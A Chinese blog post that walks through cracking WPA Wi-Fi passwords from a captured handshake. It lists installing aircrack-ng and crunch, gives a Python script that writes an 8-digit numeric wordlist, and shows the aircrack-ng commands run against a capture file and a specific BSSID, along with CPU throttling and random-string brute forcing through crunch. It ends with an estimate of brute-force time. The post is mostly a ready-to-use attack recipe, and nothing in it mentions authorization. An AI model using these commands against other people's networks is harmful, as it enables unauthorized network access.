段落1、需求描述
跑包,可选密码,或者自定义密码,或者无字典文件,用随机字符串
段落2、部署安装
apt-get update apt-get install aircrack-ng cpulimit screen crunch
段落3、生成字典
根据实际的需求,自己生成字典文件,下面是8位的数字的字典,大约860MB
#!/usr/bin/python3 # 从00000000 - 99999999的字典,一共1千万个记录,文件大小约为860MB d = '/root/DICT_8_DIGITAL.txt' end = 100000000 with open(d,'w') as f: for i in range(0,end): f.write("%08d\n" % i)
可以发现,其实密码字典,还是很大的,如果要全部生成,很不划算,占用磁盘空间很多
段落4、开启跑包
screen -dmS SAirCrack aircrack-ng -w ./DICT_8_DIGITAL.txt -b B8:AA:08:10:D1:AA WPA_cap-01.cap
段落5、开始CPU限制
查找进程号 ps -ef | grep aircrack-ng 发现进程号 83623 开启CPU利用限制 screen -dmS SCPULimit cpulimit --pid 83623 --limit 60
段落6、无字典,随机字符跑包
用crunch,命令大概如下
crunch 8 15 qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890 | aircrack-ng WPA_cap-01.cap -b B8:AA:08:10:D1:AA -w-
由于自己把跑包,放在云服务器上面,性能限制,速度慢很多,还是推荐用显卡跑,或者现代一点的,根据万能钥匙匹配。

随机8位[0-9a-zA-Z]字符的总数为62的8次方个组合,共计 218340105584896
假设碰撞速度为 180000,显卡运算,最大需要38.46年,才能碰撞到密码
>>> 218340105584896 / 180000 / 3600 / 24 / 365
38.46
000088. 基于aircrack-ng跑无线信号WIFI的握手包密码,可无需字典文件 2022-4-1 本期博客地址 https://dasmz.com/?p=1749 本期视频地址 https://youtu.be/xFrSVniOJkQ
Pingback引用通告: 视频文件的目录索引 更新到2022-04-01 | Dasmz